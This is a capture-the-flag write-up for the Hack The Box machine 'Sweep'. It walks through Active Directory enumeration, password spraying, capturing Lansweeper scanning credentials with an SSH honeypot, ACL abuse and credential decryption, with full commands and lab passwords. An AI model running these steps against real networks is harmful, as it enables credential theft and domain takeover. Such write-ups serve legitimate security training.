> For the complete documentation index, see [llms.txt](https://www.adroxz.foo/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.adroxz.foo/hackthebox-and-writeups/sweep.md). # Sweep Sweep is a medium-difficulty Windows box that focuses heavily on Active Directory enumeration and exploiting Lansweeper, an IT asset management and intelligence tool.
### **Enumeration** Our initial Nmap scan reveals several standard Domain Controller ports, including DNS (53), Kerberos (88), and LDAP (389, 636, 3268), confirming the machine's role in the network. Additionally, we see HTTP services running on ports 81 and 82, which are hosting a Lansweeper login page. ```bash ┌──(kali㉿kali)-[~] └─$ nmap 10.129.234.177 -sCV Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-06 01:45 -0500 Nmap scan report for 10.129.234.177 Host is up (0.41s latency). Not shown: 985 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 81/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) | http-title: Lansweeper - Login |_Requested resource was /login.aspx 82/tcp open ssl/xfer? |_ssl-date: TLS randomness does not represent time | tls-alpn: | h2 |_ http/1.1 | ssl-cert: Subject: commonName=Lansweeper Secure Website | Subject Alternative Name: DNS:localhost, DNS:localhost, DNS:localhost | Not valid before: 2021-11-21T09:22:27 |_Not valid after: 2121-12-21T09:22:27 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-03-06 06:45:44Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sweep.vl, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ldapssl? 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sweep.vl, Site: Default-First-Site-Name) 3269/tcp open globalcatLDAPssl? 3389/tcp open ms-wbt-server Microsoft Terminal Services |_ssl-date: 2026-03-06T06:48:06+00:00; -10s from scanner time. | rdp-ntlm-info: | Target_Name: SWEEP | NetBIOS_Domain_Name: SWEEP | NetBIOS_Computer_Name: INVENTORY | DNS_Domain_Name: sweep.vl | DNS_Computer_Name: inventory.sweep.vl | Product_Version: 10.0.20348 |_ System_Time: 2026-03-06T06:47:18+00:00 | ssl-cert: Subject: commonName=inventory.sweep.vl | Not valid before: 2026-03-05T06:27:53 |_Not valid after: 2026-09-04T06:27:53 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 Service Info: Host: INVENTORY; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3.1.1: |_ Message signing enabled and required |_clock-skew: mean: -10s, deviation: 0s, median: -10s | smb2-time: | date: 2026-03-06T06:47:29 |_ start_date: N/A ``` We begin our SMB enumeration by checking for anonymous or guest access. Using `netexec`, we successfully authenticate with the `guest` account. ```bash ┌──(kali㉿kali)-[~] └─$ nxc smb 10.129.234.177 -u guest -p '' --shares SMB 10.129.234.177 445 INVENTORY [*] Windows Server 2022 Build 20348 x64 (name:INVENTORY) (domain:sweep.vl) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.234.177 445 INVENTORY [+] sweep.vl\guest: SMB 10.129.234.177 445 INVENTORY [*] Enumerated shares SMB 10.129.234.177 445 INVENTORY Share Permissions Remark SMB 10.129.234.177 445 INVENTORY ----- ----------- ------ SMB 10.129.234.177 445 INVENTORY ADMIN$ Remote Admin SMB 10.129.234.177 445 INVENTORY C$ Default share SMB 10.129.234.177 445 INVENTORY DefaultPackageShare$ READ Lansweeper PackageShare SMB 10.129.234.177 445 INVENTORY IPC$ READ Remote IPC SMB 10.129.234.177 445 INVENTORY Lansweeper$ Lansweeper Actions SMB 10.129.234.177 445 INVENTORY NETLOGON Logon server share SMB 10.129.234.177 445 INVENTORY SYSVOL Logon server share ``` With guest access confirmed, we can perform a RID brute-force attack to extract a list of valid domain usernames. ```bash ┌──(kali㉿kali)-[~/Documents/sweeper] └─$ nxc smb 10.129.234.177 -u guest -p '' --rid-brute SMB 10.129.234.177 445 INVENTORY [*] Windows Server 2022 Build 20348 x64 (name:INVENTORY) (domain:sweep.vl) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.234.177 445 INVENTORY [+] sweep.vl\guest: SMB 10.129.234.177 445 INVENTORY 498: SWEEP\Enterprise Read-only Domain Controllers (SidTypeGroup) SMB 10.129.234.177 445 INVENTORY 500: SWEEP\Administrator (SidTypeUser) SMB 10.129.234.177 445 INVENTORY 501: SWEEP\Guest (SidTypeUser) SMB 10.129.234.177 445 INVENTORY 502: SWEEP\krbtgt (SidTypeUser) SMB 10.129.234.177 445 INVENTORY 512: SWEEP\Domain Admins (SidTypeGroup) SMB 10.129.234.177 445 INVENTORY 513: SWEEP\Domain Users (SidTypeGroup) SMB 10.129.234.177 445 INVENTORY 514: SWEEP\Domain Guests (SidTypeGroup) SMB 10.129.234.177 445 INVENTORY 515: SWEEP\Domain Computers (SidTypeGroup) SMB 10.129.234.177 445 INVENTORY 516: SWEEP\Domain Controllers (SidTypeGroup) SMB 10.129.234.177 445 INVENTORY 517: SWEEP\Cert Publishers (SidTypeAlias) SMB 10.129.234.177 445 INVENTORY 518: SWEEP\Schema Admins (SidTypeGroup) SMB 10.129.234.177 445 INVENTORY 519: SWEEP\Enterprise Admins (SidTypeGroup) SMB 10.129.234.177 445 INVENTORY 520: SWEEP\Group Policy Creator Owners (SidTypeGroup) SMB 10.129.234.177 445 INVENTORY 521: SWEEP\Read-only Domain Controllers (SidTypeGroup) SMB 10.129.234.177 445 INVENTORY 522: SWEEP\Cloneable Domain Controllers (SidTypeGroup) SMB 10.129.234.177 445 INVENTORY 525: SWEEP\Protected Users (SidTypeGroup) SMB 10.129.234.177 445 INVENTORY 526: SWEEP\Key Admins (SidTypeGroup) SMB 10.129.234.177 445 INVENTORY 527: SWEEP\Enterprise Key Admins (SidTypeGroup) SMB 10.129.234.177 445 INVENTORY 553: SWEEP\RAS and IAS Servers (SidTypeAlias) SMB 10.129.234.177 445 INVENTORY 571: SWEEP\Allowed RODC Password Replication Group (SidTypeAlias) SMB 10.129.234.177 445 INVENTORY 572: SWEEP\Denied RODC Password Replication Group (SidTypeAlias) SMB 10.129.234.177 445 INVENTORY 1000: SWEEP\INVENTORY$ (SidTypeUser) SMB 10.129.234.177 445 INVENTORY 1101: SWEEP\DnsAdmins (SidTypeAlias) SMB 10.129.234.177 445 INVENTORY 1102: SWEEP\DnsUpdateProxy (SidTypeGroup) SMB 10.129.234.177 445 INVENTORY 1103: SWEEP\Lansweeper Admins (SidTypeGroup) SMB 10.129.234.177 445 INVENTORY 1113: SWEEP\jgre808 (SidTypeUser) SMB 10.129.234.177 445 INVENTORY 1114: SWEEP\bcla614 (SidTypeUser) SMB 10.129.234.177 445 INVENTORY 1115: SWEEP\hmar648 (SidTypeUser) SMB 10.129.234.177 445 INVENTORY 1116: SWEEP\jgar931 (SidTypeUser) SMB 10.129.234.177 445 INVENTORY 1117: SWEEP\fcla801 (SidTypeUser) SMB 10.129.234.177 445 INVENTORY 1118: SWEEP\jwil197 (SidTypeUser) SMB 10.129.234.177 445 INVENTORY 1119: SWEEP\grob171 (SidTypeUser) SMB 10.129.234.177 445 INVENTORY 1120: SWEEP\fdav736 (SidTypeUser) SMB 10.129.234.177 445 INVENTORY 1121: SWEEP\jsmi791 (SidTypeUser) SMB 10.129.234.177 445 INVENTORY 1122: SWEEP\hjoh690 (SidTypeUser) SMB 10.129.234.177 445 INVENTORY 1123: SWEEP\svc_inventory_win (SidTypeUser) SMB 10.129.234.177 445 INVENTORY 1124: SWEEP\svc_inventory_lnx (SidTypeUser) SMB 10.129.234.177 445 INVENTORY 1125: SWEEP\intern (SidTypeUser) SMB 10.129.234.177 445 INVENTORY 3101: SWEEP\Lansweeper Discovery (SidTypeGroup) ``` After compiling the discovered users into a list (`users.txt`), we perform a password spraying attack, assuming the users might have set their passwords to match their usernames. ```bash ┌──(kali㉿kali)-[~/Documents/sweeper] └─$ nxc smb 10.129.234.177 -u users.txt -p users.txt --no-brute SMB 10.129.234.177 445 INVENTORY [*] Windows Server 2022 Build 20348 x64 (name:INVENTORY) (domain:sweep.vl) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.234.177 445 INVENTORY [-] sweep.vl\Administrator:Administrator STATUS_LOGON_FAILURE SMB 10.129.234.177 445 INVENTORY [-] sweep.vl\Guest:Guest STATUS_LOGON_FAILURE SMB 10.129.234.177 445 INVENTORY [-] sweep.vl\krbtgt:krbtgt STATUS_LOGON_FAILURE SMB 10.129.234.177 445 INVENTORY [-] sweep.vl\INVENTORY$:INVENTORY$ STATUS_LOGON_FAILURE SMB 10.129.234.177 445 INVENTORY [-] sweep.vl\jgre808:jgre808 STATUS_LOGON_FAILURE SMB 10.129.234.177 445 INVENTORY [-] sweep.vl\bcla614:bcla614 STATUS_LOGON_FAILURE SMB 10.129.234.177 445 INVENTORY [-] sweep.vl\hmar648:hmar648 STATUS_LOGON_FAILURE SMB 10.129.234.177 445 INVENTORY [-] sweep.vl\jgar931:jgar931 STATUS_LOGON_FAILURE SMB 10.129.234.177 445 INVENTORY [-] sweep.vl\fcla801:fcla801 STATUS_LOGON_FAILURE SMB 10.129.234.177 445 INVENTORY [-] sweep.vl\jwil197:jwil197 STATUS_LOGON_FAILURE SMB 10.129.234.177 445 INVENTORY [-] sweep.vl\grob171:grob171 STATUS_LOGON_FAILURE SMB 10.129.234.177 445 INVENTORY [-] sweep.vl\fdav736:fdav736 STATUS_LOGON_FAILURE SMB 10.129.234.177 445 INVENTORY [-] sweep.vl\jsmi791:jsmi791 STATUS_LOGON_FAILURE SMB 10.129.234.177 445 INVENTORY [-] sweep.vl\hjoh690:hjoh690 STATUS_LOGON_FAILURE SMB 10.129.234.177 445 INVENTORY [-] sweep.vl\svc_inventory_win:svc_inventory_win STATUS_LOGON_FAILURE SMB 10.129.234.177 445 INVENTORY [-] sweep.vl\svc_inventory_lnx:svc_inventory_lnx STATUS_LOGON_FAILURE SMB 10.129.234.177 445 INVENTORY [+] sweep.vl\intern:intern ``` This spray yields a hit: the `intern` account is using the password `intern`. ### **Initial Foothold** Armed with the `intern:intern` credentials, we can log into the Lansweeper dashboard on the web service.
Navigating through the dashboard to **Scanning → Scanning credentials**, we discover that Lansweeper has stored login/password combinations used for scanning network assets remotely. Specifically, there is an entry for `Inventory Linux` mapping to an SSH key/password. To steal these credentials, we can trick Lansweeper into authenticating with a server we control. We navigate to **Scanning → Scanning Targets**, add a new target IP range pointing to our attacking machine, and map the `Inventory Linux` credentials to it.
Next, we start a honeypot SSH server using `sshesame` on our attacker machine to capture the authentication attempt. ```bash ┌──(kali㉿kali)-[~/Documents/sweeper/sshesame] └─$ ./sshesame -config sshesame.yaml INFO 2026/03/06 06:44:19 No host keys configured, using keys at "/home/kali/.local/share/sshesame" INFO 2026/03/06 06:44:19 Listening on [::]:2222 2026/03/06 07:12:24 [10.129.234.177:56909] authentication for user "svc_inventory_lnx" without credentials rejected 2026/03/06 07:12:24 [10.129.234.177:56909] authentication for user "svc_inventory_lnx" with password "0|5m-U6?/uAX" accepted 2026/03/06 07:12:24 [10.129.234.177:56909] connection with client version "SSH-2.0-RebexSSH_5.0.8372.0" established 2026/03/06 07:12:24 [10.129.234.177:56909] DEBUG new channel requested: {"channel_id":0,"channel_type":"session","extra_data":""} 2026/03/06 07:12:24 [10.129.234.177:56909] [channel 0] session requested 2026/03/06 07:12:24 [10.129.234.177:56909] DEBUG channel request received: {"channel_id":0,"request_type":"exec","want_reply":true,"payload":"\u0000\u0000\u0000\u0005uname"} 2026/03/06 07:12:24 [10.129.234.177:56909] [channel 0] command "uname" requested 2026/03/06 07:12:25 [10.129.234.177:56909] [channel 0] closed 2026/03/06 07:12:25 [10.129.234.177:56909] connection closed 2026/03/06 07:12:26 [10.129.234.177:56910] authentication for user "svc_inventory_lnx" without credentials rejected 2026/03/06 07:12:27 [10.129.234.177:56910] authentication for user "svc_inventory_lnx" with password "0|5m-U6?/uAX" accepted 2026/03/06 07:12:27 [10.129.234.177:56910] connection with client version "SSH-2.0-RebexSSH_5.0.8372.0" established 2026/03/06 07:12:27 [10.129.234.177:56910] DEBUG new channel requested: {"channel_id":0,"channel_type":"session","extra_data":""} 2026/03/06 07:12:27 [10.129.234.177:56910] [channel 0] session requested 2026/03/06 07:12:27 [10.129.234.177:56910] DEBUG channel request received: {"channel_id":0,"request_type":"pty-req","want_reply":true,"payload":"\u0000\u0000\u0000\u0005xterm\u0000\u0000\u0000P\u0000\u0000\u0000\u0019\u0000\u0000\u0002\ufffd\u0000\u0000\u0001\ufffd\u0000\u0000\u0000\u0000"} 2026/03/06 07:12:27 [10.129.234.177:56910] [channel 0] PTY using terminal "xterm" (size 80x25) requested 2026/03/06 07:12:27 [10.129.234.177:56910] DEBUG channel request received: {"channel_id":0,"request_type":"shell","want_reply":true,"payload":""} 2026/03/06 07:12:27 [10.129.234.177:56910] [channel 0] shell requested 2026/03/06 07:12:28 [10.129.234.177:56910] [channel 0] input: "smclp" 2026/03/06 07:12:28 [10.129.234.177:56910] [channel 0] input: "show system1" WARNING 2026/03/06 07:12:38 Error sending CRLF: ssh: disconnect, reason 11: Session closed 2026/03/06 07:12:38 [10.129.234.177:56910] [channel 0] closed 2026/03/06 07:12:38 [10.129.234.177:56910] connection closed ``` Once we trigger the scan in Lansweeper, the server connects to our honeypot, and we successfully capture the plaintext password for the domain account `svc_inventory_lnx`: `0|5m-U6?/uAX`. ### **Initial Access (User Flag)** We validate our newly acquired credentials using `netexec smb`. ```bash ┌──(kali㉿kali)-[~] └─$ nxc smb 10.129.234.177 -u svc_inventory_lnx -p "0|5m-U6?/uAX" SMB 10.129.234.177 445 INVENTORY [*] Windows Server 2022 Build 20348 x64 (name:INVENTORY) (domain:sweep.vl) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.234.177 445 INVENTORY [+] sweep.vl\svc_inventory_lnx:0|5m-U6?/uAX ┌──(kali㉿kali)-[~] └─$ nxc smb 10.129.234.177 -u svc_inventory_lnx -p "0|5m-U6?/uAX" --shares SMB 10.129.234.177 445 INVENTORY [*] Windows Server 2022 Build 20348 x64 (name:INVENTORY) (domain:sweep.vl) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.234.177 445 INVENTORY [+] sweep.vl\svc_inventory_lnx:0|5m-U6?/uAX SMB 10.129.234.177 445 INVENTORY [*] Enumerated shares SMB 10.129.234.177 445 INVENTORY Share Permissions Remark SMB 10.129.234.177 445 INVENTORY ----- ----------- ------ SMB 10.129.234.177 445 INVENTORY ADMIN$ Remote Admin SMB 10.129.234.177 445 INVENTORY C$ Default share SMB 10.129.234.177 445 INVENTORY DefaultPackageShare$ READ Lansweeper PackageShare SMB 10.129.234.177 445 INVENTORY IPC$ READ Remote IPC SMB 10.129.234.177 445 INVENTORY Lansweeper$ READ Lansweeper Actions SMB 10.129.234.177 445 INVENTORY NETLOGON READ Logon server share SMB 10.129.234.177 445 INVENTORY SYSVOL READ Logon server share ``` To understand our privileges, we run BloodHound against the domain. BloodHound reveals that `svc_inventory_lnx` is a member of the `Lansweeper Discovery` group. Importantly, this group is configured with a `GenericAll` Access Control List (ACL) over the `Lansweeper Admins` group. ```bash ┌──(kali㉿kali)-[~/Documents/sweeper] └─$ nxc ldap 10.129.234.177 -u svc_inventory_lnx -p "0|5m-U6?/uAX" LDAP 10.129.234.177 389 INVENTORY [*] Windows Server 2022 Build 20348 (name:INVENTORY) (domain:sweep.vl) (signing:None) (channel binding:No TLS cert) LDAP 10.129.234.177 389 INVENTORY [+] sweep.vl\svc_inventory_lnx:0|5m-U6?/uAX ┌──(kali㉿kali)-[~/Documents/sweeper] └─$ bloodhound-python -u svc_inventory_lnx -p '0|5m-U6?/uAX' \ -d sweep.vl \ -ns 10.129.234.177 \ -c All INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3) INFO: Found AD domain: sweep.vl INFO: Getting TGT for user WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (inventory.sweep.vl:88)] [Errno -2] Name or service not known INFO: Connecting to LDAP server: inventory.sweep.vl INFO: Testing resolved hostname connectivity dead:beef::258f:94e0:38f3:89a8 INFO: Trying LDAP connection to dead:beef::258f:94e0:38f3:89a8 INFO: Testing resolved hostname connectivity dead:beef::241 INFO: Trying LDAP connection to dead:beef::241 INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 1 computers INFO: Connecting to LDAP server: inventory.sweep.vl INFO: Testing resolved hostname connectivity dead:beef::258f:94e0:38f3:89a8 INFO: Trying LDAP connection to dead:beef::258f:94e0:38f3:89a8 INFO: Testing resolved hostname connectivity dead:beef::241 INFO: Trying LDAP connection to dead:beef::241 INFO: Found 17 users INFO: Found 54 groups INFO: Found 2 gpos INFO: Found 3 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: inventory.sweep.vl INFO: Done in 00M 45S ```
We can abuse this misconfigured ACL by using `net rpc` to add our initial `intern` user to the `Lansweeper Admins` group. ```bash ┌──(kali㉿kali)-[~/Documents/sweeper] └─$ net rpc group addmem "Lansweeper Admins" svc_inventory_lnx -U "sweep.vl/svc_inventory_lnx%0|5m-U6?/uAX" -S 10.129.234.177 ┌──(kali㉿kali)-[~/Documents/sweeper] └─$ nxc winrm 10.129.234.177 -u svc_inventory_lnx -p "0|5m-U6?/uAX" WINRM 10.129.234.177 5985 INVENTORY [*] Windows Server 2022 Build 20348 (name:INVENTORY) (domain:sweep.vl) WINRM 10.129.234.177 5985 INVENTORY [+] sweep.vl\svc_inventory_lnx:0|5m-U6?/uAX (Pwn3d!) ``` Any account that is a member of the `Lansweeper Admins` group is granted administrative privileges on the dashboard and gains remote access capabilities. Once the command executes successfully, we can WinRM into the machine as `svc_inventory_lnx`.\ The user flag can be found in C:\user.txt . ```bash ┌──(kali㉿kali)-[~/Documents/sweeper] └─$ evil-winrm -i 10.129.234.177 -u svc_inventory_lnx -p "0|5m-U6?/uAX" *Evil-WinRM* PS C:\Users\svc_inventory_lnx\Documents> type C:\user.txt d2dxxxxxxxxxxxxxxxxxx9165 ``` ### **Privilege Escalation (Root Flag)** Lansweeper stores its scanning credentials in a local database. The connection string to access this database is located in the `web.config` file, but it is encrypted. If we enumerate the Lansweeper installation directory at `C:\Program Files (x86)\Lansweeper`, we can find the encrypted configuration file inside the `Website` folder, as well as the encryption key stored locally in the `Key` folder. ```bash *Evil-WinRM* PS C:\Program Files (x86)\Lansweeper> cat Website\web.config ...[snip]... ...[snip]... ``` To streamline the decryption process, we can use a script like `LansweeperDecrypt.ps1` (or the compiled C# equivalent, `SharpLansweeperDecrypt`). This tool automatically grabs the connection string from the `web.config`, decrypts it, queries the database for the stored credentials, and uses `Encryption.txt` to decrypt those passwords. We upload the script to our target via our WinRM session and execute it: ```bash *Evil-WinRM* PS C:\Users\svc_inventory_lnx> upload LansweeperDecrypt.ps1 Info: Uploading /home/kali/Documents/sweeper/LansweeperDecrypt.ps1 to C:\Users\svc_inventory_lnx\LansweeperDecrypt.ps1 Data: 5700 bytes of 5700 bytes copied Info: Upload successful! *Evil-WinRM* PS C:\Users\svc_inventory_lnx> powershell ./LansweeperDecrypt.ps1 [+] Loading web.config file... [+] Found protected connectionStrings section. Decrypting... [+] Decrypted connectionStrings section: [+] Opening connection to the database... [+] Retrieving credentials from the database... [+] Decrypting password for user: SNMP Community String [+] Decrypting password for user: [+] Decrypting password for user: SWEEP\svc_inventory_win [+] Decrypting password for user: svc_inventory_lnx [+] Credentials retrieved and decrypted successfully: CredName Username Password -------- -------- -------- SNMP-Private SNMP Community String private Global SNMP public Inventory Windows SWEEP\svc_inventory_win 4^56!sK&}eA? Inventory Linux svc_inventory_lnx 0|5m-U6?/uAX [+] Database connection closed. ``` The script successfully decrypts several credentials. While we already have the Linux inventory password, the script reveals a new password for the Windows inventory service account: `4^56!sK&}eA?`. we can establish a new WinRM session as this user and read the root flag. ```bash ┌──(kali㉿kali)-[~] └─$ evil-winrm -i 10.129.234.177 -u svc_inventory_win -p '4^56!sK&}eA?' *Evil-WinRM* PS C:\Users\svc_inventory_win\Desktop> type C:\Users\Administrator\Desktop\Root.txt 7177xxxxxxxxxxxxxxxxxcc65 ```